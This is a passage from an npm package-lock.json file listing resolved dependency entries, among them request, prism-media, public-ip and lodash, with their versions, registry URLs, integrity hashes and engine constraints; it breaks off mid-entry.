1027 | "node": ">=4" 1028 | } 1029 | }, 1030 | "node_modules/http-cache-semantics": { 1031 | "version": "4.1.1", 1032 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", 1033 | "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" 1034 | }, 1035 | "node_modules/http-signature": { 1036 | "version": "1.2.0", 1037 | "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", 1038 | "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==", 1039 | "dependencies": { 1040 | "assert-plus": "^1.0.0", 1041 | "jsprim": "^1.2.2", 1042 | "sshpk": "^1.7.0" 1043 | }, 1044 | "engines": { 1045 | "node": ">=0.8", 1046 | "npm": ">=1.3.7" 1047 | } 1048 | }, 1049 | "node_modules/http2-wrapper": { 1050 | "version": "2.2.0", 1051 | "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-2.2.0.tgz", 1052 | "integrity": "sha512-kZB0wxMo0sh1PehyjJUWRFEd99KC5TLjZ2cULC4f9iqJBAmKQQXEICjxl5iPJRwP40dpeHFqqhm7tYCvODpqpQ==", 1053 | "dependencies": { 1054 | "quick-lru": "^5.1.1", 1055 | "resolve-alpn": "^1.2.0" 1056 | }, 1057 | "engines": { 1058 | "node": ">=10.19.0" 1059 | } 1060 | }, 1061 | "node_modules/indent-string": { 1062 | "version": "5.0.0", 1063 | "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-5.0.0.tgz", 1064 | "integrity": "sha512-m6FAo/spmsW2Ab2fU35JTYwtOKa2yAwXSwgjSv1TJzh4Mh7mC3lzAOVLBprb72XsTrgkEIsl7YrFNAiDiRhIGg==", 1065 | "engines": { 1066 | "node": ">=12" 1067 | }, 1068 | "funding": { 1069 | "url": "https://github.com/sponsors/sindresorhus" 1070 | } 1071 | }, 1072 | "node_modules/inherits": { 1073 | "version": "2.0.3", 1074 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 1075 | "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==" 1076 | }, 1077 | "node_modules/ip-regex": { 1078 | "version": "5.0.0", 1079 | "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-5.0.0.tgz", 1080 | "integrity": "sha512-fOCG6lhoKKakwv+C6KdsOnGvgXnmgfmp0myi3bcNwj3qfwPAxRKWEuFhvEFF7ceYIz6+1jRZ+yguLFAmUNPEfw==", 1081 | "engines": { 1082 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0" 1083 | }, 1084 | "funding": { 1085 | "url": "https://github.com/sponsors/sindresorhus" 1086 | } 1087 | }, 1088 | "node_modules/is-binary-path": { 1089 | "version": "2.1.0", 1090 | "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", 1091 | "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", 1092 | "dependencies": { 1093 | "binary-extensions": "^2.0.0" 1094 | }, 1095 | "engines": { 1096 | "node": ">=8" 1097 | } 1098 | }, 1099 | "node_modules/is-extglob": { 1100 | "version": "2.1.1", 1101 | "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", 1102 | "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", 1103 | "engines": { 1104 | "node": ">=0.10.0" 1105 | } 1106 | }, 1107 | "node_modules/is-glob": { 1108 | "version": "4.0.3", 1109 | "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", 1110 | "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", 1111 | "dependencies": { 1112 | "is-extglob": "^2.1.1" 1113 | }, 1114 | "engines": { 1115 | "node": ">=0.10.0" 1116 | } 1117 | }, 1118 | "node_modules/is-ip": { 1119 | "version": "4.0.0", 1120 | "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-4.0.0.tgz", 1121 | "integrity": "sha512-4B4XA2HEIm/PY+OSpeMBXr8pGWBYbXuHgjMAqrwbLO3CPTCAd9ArEJzBUKGZtk9viY6+aSfadGnWyjY3ydYZkw==", 1122 | "dependencies": { 1123 | "ip-regex": "^5.0.0" 1124 | }, 1125 | "engines": { 1126 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0" 1127 | }, 1128 | "funding": { 1129 | "url": "https://github.com/sponsors/sindresorhus" 1130 | } 1131 | }, 1132 | "node_modules/is-number": { 1133 | "version": "7.0.0", 1134 | "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", 1135 | "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", 1136 | "engines": { 1137 | "node": ">=0.12.0" 1138 | } 1139 | }, 1140 | "node_modules/is-typedarray": { 1141 | "version": "1.0.0", 1142 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", 1143 | "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" 1144 | }, 1145 | "node_modules/isstream": { 1146 | "version": "0.1.2", 1147 | "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", 1148 | "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==" 1149 | }, 1150 | "node_modules/jsbn": { 1151 | "version": "0.1.1", 1152 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", 1153 | "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==" 1154 | }, 1155 | "node_modules/json-bigint": { 1156 | "version": "1.0.0", 1157 | "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", 1158 | "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", 1159 | "dependencies": { 1160 | "bignumber.js": "^9.0.0" 1161 | } 1162 | }, 1163 | "node_modules/json-buffer": { 1164 | "version": "3.0.1", 1165 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", 1166 | "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" 1167 | }, 1168 | "node_modules/json-hood": { 1169 | "version": "1.1.4", 1170 | "resolved": "https://registry.npmjs.org/json-hood/-/json-hood-1.1.4.tgz", 1171 | "integrity": "sha512-dc6ZGYJs0dAw12YErybjZ68SuDcBr3fe2WjvV8lyx4ijlp/RMXaoLmdQ8fx/Lp5HyWprayR/s9+PhboZsWrGEg==", 1172 | "dependencies": { 1173 | "util": "^0.10.3" 1174 | } 1175 | }, 1176 | "node_modules/json-schema": { 1177 | "version": "0.4.0", 1178 | "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", 1179 | "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" 1180 | }, 1181 | "node_modules/json-schema-traverse": { 1182 | "version": "0.4.1", 1183 | "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", 1184 | "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" 1185 | }, 1186 | "node_modules/json-stringify-safe": { 1187 | "version": "5.0.1", 1188 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", 1189 | "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==" 1190 | }, 1191 | "node_modules/jsprim": { 1192 | "version": "1.4.2", 1193 | "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz", 1194 | "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==", 1195 | "dependencies": { 1196 | "assert-plus": "1.0.0", 1197 | "extsprintf": "1.3.0", 1198 | "json-schema": "0.4.0", 1199 | "verror": "1.10.0" 1200 | }, 1201 | "engines": { 1202 | "node": ">=0.6.0" 1203 | } 1204 | }, 1205 | "node_modules/keyv": { 1206 | "version": "4.5.3", 1207 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.3.tgz", 1208 | "integrity": "sha512-QCiSav9WaX1PgETJ+SpNnx2PRRapJ/oRSXM4VO5OGYGSjrxbKPVFVhB3l2OCbLCk329N8qyAtsJjSjvVBWzEug==", 1209 | "dependencies": { 1210 | "json-buffer": "3.0.1" 1211 | } 1212 | }, 1213 | "node_modules/lodash": { 1214 | "version": "4.17.21", 1215 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", 1216 | "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" 1217 | }, 1218 | "node_modules/lodash.permutations": { 1219 | "version": "1.0.0", 1220 | "resolved": "https://registry.npmjs.org/lodash.permutations/-/lodash.permutations-1.0.0.tgz", 1221 | "integrity": "sha512-0hFwfPb1V63YefDRGyR3iLDwdOEiNwxb1E3QQfGfytwha9wxb8ZRI1TrIAUPBG/GRGs51ctYvsNWrp+slXC9pw==", 1222 | "peerDependencies": { 1223 | "lodash": "^4.0.0" 1224 | } 1225 | }, 1226 | "node_modules/lodash.snakecase": { 1227 | "version": "4.1.1", 1228 | "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", 1229 | "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==" 1230 | }, 1231 | "node_modules/lowercase-keys": { 1232 | "version": "3.0.0", 1233 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-3.0.0.tgz", 1234 | "integrity": "sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ==", 1235 | "engines": { 1236 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0" 1237 | }, 1238 | "funding": { 1239 | "url": "https://github.com/sponsors/sindresorhus" 1240 | } 1241 | }, 1242 | "node_modules/magic-bytes.js": { 1243 | "version": "1.0.15", 1244 | "resolved": "https://registry.npmjs.org/magic-bytes.js/-/magic-bytes.js-1.0.15.tgz", 1245 | "integrity": "sha512-bpRmwbRHqongRhA+mXzbLWjVy7ylqmfMBYaQkSs6pac0z6hBTvsgrH0r4FBYd/UYVJBmS6Rp/O+oCCQVLzKV1g==" 1246 | }, 1247 | "node_modules/make-module-env": { 1248 | "version": "1.0.1", 1249 | "resolved": "https://registry.npmjs.org/make-module-env/-/make-module-env-1.0.1.tgz", 1250 | "integrity": "sha512-EPNN4mZs1qyWsr7KgKoKBSg+CVpt0yhyFJfIcUTTH9i4PDOVGI/7+ohySaz1Ak6XemVqjy6b3EUNARQyLhRnuw==" 1251 | }, 1252 | "node_modules/mime-db": { 1253 | "version": "1.52.0", 1254 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 1255 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", 1256 | "engines": { 1257 | "node": ">= 0.6" 1258 | } 1259 | }, 1260 | "node_modules/mime-types": { 1261 | "version": "2.1.35", 1262 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 1263 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 1264 | "dependencies": { 1265 | "mime-db": "1.52.0" 1266 | }, 1267 | "engines": { 1268 | "node": ">= 0.6" 1269 | } 1270 | }, 1271 | "node_modules/mimic-response": { 1272 | "version": "4.0.0", 1273 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-4.0.0.tgz", 1274 | "integrity": "sha512-e5ISH9xMYU0DzrT+jl8q2ze9D6eWBto+I8CNpe+VI+K2J/F/k3PdkdTdz4wvGVH4NTpo+NRYTVIuMQEMMcsLqg==", 1275 | "engines": { 1276 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0" 1277 | }, 1278 | "funding": { 1279 | "url": "https://github.com/sponsors/sindresorhus" 1280 | } 1281 | }, 1282 | "node_modules/node-fetch": { 1283 | "version": "2.7.0", 1284 | "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", 1285 | "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", 1286 | "dependencies": { 1287 | "whatwg-url": "^5.0.0" 1288 | }, 1289 | "engines": { 1290 | "node": "4.x || >=6.0.0" 1291 | }, 1292 | "peerDependencies": { 1293 | "encoding": "^0.1.0" 1294 | }, 1295 | "peerDependenciesMeta": { 1296 | "encoding": { 1297 | "optional": true 1298 | } 1299 | } 1300 | }, 1301 | "node_modules/normalize-path": { 1302 | "version": "3.0.0", 1303 | "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", 1304 | "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", 1305 | "engines": { 1306 | "node": ">=0.10.0" 1307 | } 1308 | }, 1309 | "node_modules/normalize-url": { 1310 | "version": "8.0.0", 1311 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-8.0.0.tgz", 1312 | "integrity": "sha512-uVFpKhj5MheNBJRTiMZ9pE/7hD1QTeEvugSJW/OmLzAp78PB5O6adfMNTvmfKhXBkvCzC+rqifWcVYpGFwTjnw==", 1313 | "engines": { 1314 | "node": ">=14.16" 1315 | }, 1316 | "funding": { 1317 | "url": "https://github.com/sponsors/sindresorhus" 1318 | } 1319 | }, 1320 | "node_modules/oauth-sign": { 1321 | "version": "0.9.0", 1322 | "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", 1323 | "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", 1324 | "engines": { 1325 | "node": "*" 1326 | } 1327 | }, 1328 | "node_modules/p-cancelable": { 1329 | "version": "3.0.0", 1330 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-3.0.0.tgz", 1331 | "integrity": "sha512-mlVgR3PGuzlo0MmTdk4cXqXWlwQDLnONTAg6sm62XkMJEiRxN3GL3SffkYvqwonbkJBcrI7Uvv5Zh9yjvn2iUw==", 1332 | "engines": { 1333 | "node": ">=12.20" 1334 | } 1335 | }, 1336 | "node_modules/parallel-park": { 1337 | "version": "0.2.0", 1338 | "resolved": "https://registry.npmjs.org/parallel-park/-/parallel-park-0.2.0.tgz", 1339 | "integrity": "sha512-slHenlDp44eGZ8/pqIK4JL3C7UmA4Xwucj2mHB75PS5oGk/qhHAkk3Z/YkMNFCGcnB4YdWdmKGvRUK2c6+f0jg==", 1340 | "dependencies": { 1341 | "make-module-env": "^1.0.1" 1342 | } 1343 | }, 1344 | "node_modules/path": { 1345 | "version": "0.12.7", 1346 | "resolved": "https://registry.npmjs.org/path/-/path-0.12.7.tgz", 1347 | "integrity": "sha512-aXXC6s+1w7otVF9UletFkFcDsJeO7lSZBPUQhtb5O0xJe8LtYhj/GxldoL09bBj9+ZmE2hNoHqQSFMN5fikh4Q==", 1348 | "dependencies": { 1349 | "process": "^0.11.1", 1350 | "util": "^0.10.3" 1351 | } 1352 | }, 1353 | "node_modules/performance-now": { 1354 | "version": "2.1.0", 1355 | "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", 1356 | "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==" 1357 | }, 1358 | "node_modules/picomatch": { 1359 | "version": "2.3.1", 1360 | "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", 1361 | "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", 1362 | "engines": { 1363 | "node": ">=8.6" 1364 | }, 1365 | "funding": { 1366 | "url": "https://github.com/sponsors/jonschlinkert" 1367 | } 1368 | }, 1369 | "node_modules/prism-media": { 1370 | "version": "1.3.5", 1371 | "resolved": "https://registry.npmjs.org/prism-media/-/prism-media-1.3.5.tgz", 1372 | "integrity": "sha512-IQdl0Q01m4LrkN1EGIE9lphov5Hy7WWlH6ulf5QdGePLlPas9p2mhgddTEHrlaXYjjFToM1/rWuwF37VF4taaA==", 1373 | "peerDependencies": { 1374 | "@discordjs/opus": ">=0.8.0 <1.0.0", 1375 | "ffmpeg-static": "^5.0.2 || ^4.2.7 || ^3.0.0 || ^2.4.0", 1376 | "node-opus": "^0.3.3", 1377 | "opusscript": "^0.0.8" 1378 | }, 1379 | "peerDependenciesMeta": { 1380 | "@discordjs/opus": { 1381 | "optional": true 1382 | }, 1383 | "ffmpeg-static": { 1384 | "optional": true 1385 | }, 1386 | "node-opus": { 1387 | "optional": true 1388 | }, 1389 | "opusscript": { 1390 | "optional": true 1391 | } 1392 | } 1393 | }, 1394 | "node_modules/process": { 1395 | "version": "0.11.10", 1396 | "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", 1397 | "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", 1398 | "engines": { 1399 | "node": ">= 0.6.0" 1400 | } 1401 | }, 1402 | "node_modules/psl": { 1403 | "version": "1.9.0", 1404 | "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", 1405 | "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==" 1406 | }, 1407 | "node_modules/public-ip": { 1408 | "version": "6.0.1", 1409 | "resolved": "https://registry.npmjs.org/public-ip/-/public-ip-6.0.1.tgz", 1410 | "integrity": "sha512-1/Mxa1MKrAQ4jF5IalECSBtB0W1FAtnG+9c5X16jjvV/Gx9fiRy7xXIrHlBGYjnTlai0zdZkM3LrpmASavmAEg==", 1411 | "dependencies": { 1412 | "aggregate-error": "^4.0.1", 1413 | "dns-socket": "^4.2.2", 1414 | "got": "^12.1.0", 1415 | "is-ip": "^4.0.0" 1416 | }, 1417 | "engines": { 1418 | "node": ">=14.16" 1419 | }, 1420 | "funding": { 1421 | "url": "https://github.com/sponsors/sindresorhus" 1422 | } 1423 | }, 1424 | "node_modules/punycode": { 1425 | "version": "2.3.0", 1426 | "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz", 1427 | "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", 1428 | "engines": { 1429 | "node": ">=6" 1430 | } 1431 | }, 1432 | "node_modules/qs": { 1433 | "version": "6.5.3", 1434 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz", 1435 | "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==", 1436 | "engines": { 1437 | "node": ">=0.6" 1438 | } 1439 | }, 1440 | "node_modules/querystringify": { 1441 | "version": "2.2.0", 1442 | "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", 1443 | "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" 1444 | }, 1445 | "node_modules/quick-lru": { 1446 | "version": "5.1.1", 1447 | "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", 1448 | "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", 1449 | "engines": { 1450 | "node": ">=10" 1451 | }, 1452 | "funding": { 1453 | "url": "https://github.com/sponsors/sindresorhus" 1454 | } 1455 | }, 1456 | "node_modules/random-seed": { 1457 | "version": "0.3.0", 1458 | "resolved": "https://registry.npmjs.org/random-seed/-/random-seed-0.3.0.tgz", 1459 | "integrity": "sha512-y13xtn3kcTlLub3HKWXxJNeC2qK4mB59evwZ5EkeRlolx+Bp2ztF7LbcZmyCnOqlHQrLnfuNbi1sVmm9lPDlDA==", 1460 | "dependencies": { 1461 | "json-stringify-safe": "^5.0.1" 1462 | }, 1463 | "engines": { 1464 | "node": ">= 0.6.0" 1465 | } 1466 | }, 1467 | "node_modules/random-useragent": { 1468 | "version": "0.5.0", 1469 | "resolved": "https://registry.npmjs.org/random-useragent/-/random-useragent-0.5.0.tgz", 1470 | "integrity": "sha512-FUMkqVdZeoSff5tErNL3FFGYXElDWZ1bEuedhm5u9MdCFwANriJWbHvDRYrLTOzp/fBsBGu5J1cWtDgifa97aQ==", 1471 | "dependencies": { 1472 | "random-seed": "^0.3.0" 1473 | } 1474 | }, 1475 | "node_modules/readdirp": { 1476 | "version": "3.6.0", 1477 | "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", 1478 | "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", 1479 | "dependencies": { 1480 | "picomatch": "^2.2.1" 1481 | }, 1482 | "engines": { 1483 | "node": ">=8.10.0" 1484 | } 1485 | }, 1486 | "node_modules/recursive-readdir-async": { 1487 | "version": "1.3.0", 1488 | "resolved": "https://registry.npmjs.org/recursive-readdir-async/-/recursive-readdir-async-1.3.0.tgz", 1489 | "integrity": "sha512-7fZyD3/Ol9LwZBYTgE+PzE+Zuru/WxZxdXaZRaNZNPbdnvMDSvK8KLA51JDCoe8zDBkHHyLb/uutJ2RdJbbt4A==", 1490 | "engines": { 1491 | "node": ">=7.6" 1492 | } 1493 | }, 1494 | "node_modules/request": { 1495 | "version": "2.88.2", 1496 | "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", 1497 | "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", 1498 | "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", 1499 | "dependencies": { 1500 | "aws-sign2": "~0.7.0", 1501 | "aws4": "^1.8.0", 1502 | "caseless": "~0.12.0", 1503 | "combined-stream": "~1.0.6", 1504 | "extend": "~3.0.2", 1505 | "forever-agent": "~0.6.1", 1506 | "form-data": "~2.3.2", 1507 | "har-validator": "~5.1.3", 1508 | "http-signature": "~1.2.0", 1509 | "is-typedarray": "~1.0.0", 1510 | "isstream": "~0.1.2", 1511 | "json-stringify-safe": "~5.0.1", 1512 | "mime-types": "~2.1.19", 1513 | "oauth-sign": "~0.9.0", 1514 | "performance-now": "^2.1.0", 1515 | "qs": "~6.5.2", 1516 | "safe-buffer": "^5.1.2", 1517 | "tough-cookie": "~2.5.0", 1518 | "tunnel-agent": "^0.6.0", 1519 | "uuid": "^3.3.2" 1520 | }, 1521 | "engines": { 1522 | "node": ">= 6" 1523 | } 1524 | }, 1525 | "node_modules/request-async": { 1526 | "version": "0.1.0", 1527 | "resolved": "https://registry.npmjs.org/request-async/-/request-async-0.1.0.tgz", 1528 | "integrity": "sha512-z56pI9Ehyr5rYa/ROeKdUkmChQ8eqEjiCH+dyLH2BgpahGh4G0JAYk8c6yskv/ILi0utA4jMoD2wiH8vESPUsg==", 1529 | "dependencies": { 1530 | "request": "*" 1531 | } 1532 | }, 1533 | "node_modules/request/node_modules/form-data": { 1534 | "version": "2.3.3", 1535 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", 1536 | "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", 1537 | "dependencies": { 1538 | "asynckit": "^0.4.0", 1539 | "combined-stream": "^1.0.6", 1540 | "mime-types": "^2.1.12" 1541 | }, 1542 | "engines": { 1543 | "node": ">= 0.12" 1544 | } 1545 | }, 1546 | "node_modules/request/node_modules/tough-cookie": { 1547 | "version": "2.5.0", 1548 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", 1549 | "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", 1550 | "dependencies": { 1551 | "psl": "^1.1.28", 1552 | "punycode": "^2.1.1" 1553 | }, 1554 | "engines": { 1555 | "node": ">=0.8" 1556 | } 1557 | }, 1558 | "node_modules/requires-port": { 1559 | "version": "1.0.0", 1560 | "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", 1561 | "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" 1562 | }, 1563 | "node_modules/resolve-alpn": { 1564 | "version": "1.2.1", 1565 | "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", 1566 | "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" 1567 | }, 1568 | "node_modules/responselike": { 1569 | "version": "3.0.0", 1570 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-3.0.0.tgz", 1571 | "integrity": "sha512-40yHxbNcl2+rzXvZuVkrYohathsSJlMTXKryG5y8uciHv1+xDLHQpgjG64JUO9nrEq2jGLH6IZ8BcZyw3wrweg==", 1572 | "dependencies": { 1573 | "lowercase-keys": "^3.0.0" 1574 | }, 1575 | "engines": { 1576 | "node": ">=14.16" 1577 | }, 1578 | "funding": { 1579 | "url": "https://github.com/sponsors/sindresorhus" 1580 | } 1581 | }, 1582 | "node_modules/safe-base64": { 1583 | "version": "2.0.1-0", 1584 | "resolved": "https://registry.npmjs.org/safe-base64/-/safe-base64-2.0.1-0.tgz", 1585 | "integrity": "sha512-ZoFf0RRp5NpNkgupFq3oILwFC5wzR8TD+U9WbWAMk4iryuBvyOP/p8nrc5qtDFlqHxL8rwbr/t+rRjsIYZsJrg==" 1586 | }, 1587 | "node_modules/safe-buffer": { 1588 | "version": "5.2.1", 1589 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 1590 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", 1591 | "funding": [ 1592 | { 1593 | "type": "github", 1594 | "url": "https://github.com/sponsors/feross" 1595 | }, 1596 | { 1597 | "type": "patreon", 1598 | "url": "https://www.patreon.com/feross" 1599 | }, 1600 | { 1601 | "type": "consulting", 1602 | "url": "https://feross.org/support" 1603 | } 1604 | ] 1605 | }, 1606 | "node_modules/safer-buffer": { 1607 | "version": "2.1.2", 1608 | "resolved": 